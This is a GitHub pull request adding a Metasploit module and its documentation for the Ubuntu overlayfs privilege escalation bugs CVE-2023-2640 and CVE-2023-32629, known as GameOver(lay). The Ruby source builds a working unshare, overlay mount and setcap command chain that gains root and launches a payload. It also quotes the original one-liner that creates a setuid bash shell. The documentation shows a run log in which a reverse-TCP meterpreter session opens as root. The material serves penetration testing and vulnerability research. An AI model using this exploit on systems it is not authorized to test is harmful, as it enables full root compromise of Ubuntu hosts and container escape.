Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-2640, CVE-2023-32629 Game Overlay Ubuntu Privillege Escalation #19460

Merged
merged 11 commits into from
Dec 18, 2024
157 changes: 157 additions & 0 deletions documentation/modules/exploit/linux/local/gameoverlay_privesc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
## Description

CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of
capabilities while overlaying filesystems. On most Linux Kernels during the execution of
`ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
way that limits them to the current namespace. However, on some versions of the Ubuntu kernel
`_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`.

When a new namespace is created the user will technically be "root" within that given
namespace. This module will take advantage of this by setting the `CAP_SETUID` capability
on a system binary. It will then perform filesystem overlay, copying the binary into the lower
directory. Because of the flaws described above when the binary is transferred into the upper
directory its capabilities will not be sanitized and persist in the "normal" namespace.

## Vunerable Application

These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
and kernel versions, as described in the list below.

Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)

Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)

Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)

The user can download a vulnerable version, for example:

```
sudo apt update
sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
reboot
```
While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
Be sure to take the system offline to prevent the vulnerabilities from silently being patched.

This module has successfully been tested on the following:

Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic

Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws

## Verification Steps

1). Start `msfconsole`

2). Get a session on a vulnerable system

3). Use `exploit/linux/local/gameoverlay_privesc`

4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1)
`set target 1`

5). Set session `set session [SESSION]`

5). Do. `run`

6). You should get a new session running as root.

## Options

### Payload File Name
Name of the file storing the payload, default is random.

### Writable Dir
The name of a directory with write permissions, default is `/tmp`. This will be where the
payload file will be created if necessary. Additionally during the exploit a series of directories will be
created here to perform the filesystem overlaying.

## Scenarios

You have a non-root session on one of the systems described above. Please note that this
module will automatically run checks to determine if the system is vulnerable, you can disable
this with `set AutoCheck False`.

```
msf6 exploit(linux/local/gameoverlay_privesc) >
[*] Sending stage (3045380 bytes) to 10.5.132.129
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600

msf6 exploit(linux/local/gameoverlay_privesc) > set session 3
session => 3
msf6 exploit(linux/local/gameoverlay_privesc) > show options

Module options (exploit/linux/local/gameoverlay_privesc):

Name Current Setting Required Description
---- --------------- -------- -----------
PayloadFileName pSueaCXrnzH yes Name of payload
SESSION 3 yes The session to run this module on
WritableDir /tmp yes A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Linux_Binary



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/gameoverlay_privesc) > run

[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Ubuntu version: Jammy Jellyfish
[*] Detected kernel version: 5.19.0-41-generic
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
[*] Creating directory to store payload: /tmp/ODBpneOXk/
[*] Creating directory /tmp/ODBpneOXk/
[*] /tmp/ODBpneOXk/ created
[*] Creating directory /tmp/ODBpneOXk/
[*] Creating directory /tmp/ODBpneOXk/
[*] /tmp/ODBpneOXk/ created
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
[*] /tmp/ODBpneOXk/bmbtPAX/ created
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
[*] /tmp/ODBpneOXk/hEhbByWL/ created
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
[*] /tmp/ODBpneOXk/yvvSFre/ created
[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.132.129
[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 10.5.132.129
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux

```
187 changes: 187 additions & 0 deletions modules/exploits/linux/local/gameoverlay_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,187 @@
class MetasploitModule < Msf::Exploit::Local

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
'Description' => %q{
This module exploits the use of unsafe functions in a number of Ubuntu kernels
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
gardnerapp marked this conversation as resolved.
Show resolved Hide resolved
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
called during ovl_do_setxattr without calling the intermediate safety function
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
writing setuid capabilities to a file which are not sanitized after being unioned
with the upper mounted directory.
},
'License' => MSF_LICENSE,
'Author' => [
'g1vi', # PoC
'h00die', # Module Suggestion
'bwatters-r7', # MsF Module
'gardnerapp', # MsF Module
],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2023-07-26',
'References' => [
['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
['CVE', '2023-32629'],
['CVE', '2023-2640']
],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
'PrependSetuid' => true
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "\x22\x27"
}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
]
end

def vuln
# Keys are ubuntu versions, vals is list of vunerable kernels
{
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
end

def check
return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'

# Must be Ubuntu
return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/

os = cmd_exec 'cat /etc/os-release'

# grab codename i.e. Focal Fossa
codename = os.scan(/\(\w* \w*\)/)[0]

# Remove '(' and ')'
codename.delete_prefix!('(').delete_suffix!(')')

print_status "Detected Ubuntu version: #{codename}"

# uname -r
# yields something like 5.4.0-1018-blah
kernel = kernel_release
print_status "Detected kernel version: #{kernel}"

# Make sure release is running vunerable kernel
# will this return in correct context??
# could scan kernel to prevent looping if return below doesn't work
vuln[codename].each do |version|
if kernel.include? version
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
end
end

return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
end

def exploit
pay_dir = datastore['WritableDir']
gardnerapp marked this conversation as resolved.
Show resolved Hide resolved
pay_dir += '/' unless pay_dir.ends_with? '/'

pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'

print_status "Creating directory to store payload: #{pay_dir}"
mkdir pay_dir

directories = []
directories << pay_dir

lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << lower_dir

upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << upper_dir

work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << work_dir

merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << merge_dir

bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
# bash_copy = '/var/tmp/bash'

directories.each do |dir|
print_status "Creating directory #{dir}"
mkdir dir.to_s
end

if target.arch.first == ARCH_CMD
payload_cmd = payload.encoded
else
pay_file = datastore['PayloadFilename']
payload_path = "#{pay_dir}#{pay_file}"
print_status "Writing payload: #{payload_path}"
write_file(payload_path, generate_payload_exe)
payload_cmd = payload_path
end

# g1vi original
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"

# Exploit overlayfs vuln
# Build the command
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"

exploit_cmd = 'unshare -rm sh -c "'
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
exploit_cmd << "touch #{merge_dir}*; "
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
if target.arch.first == ARCH_CMD
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
else
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
end
exploit_cmd << "\\\")'\""
output = cmd_exec(exploit_cmd)
vprint_status(output)
end

end
Loading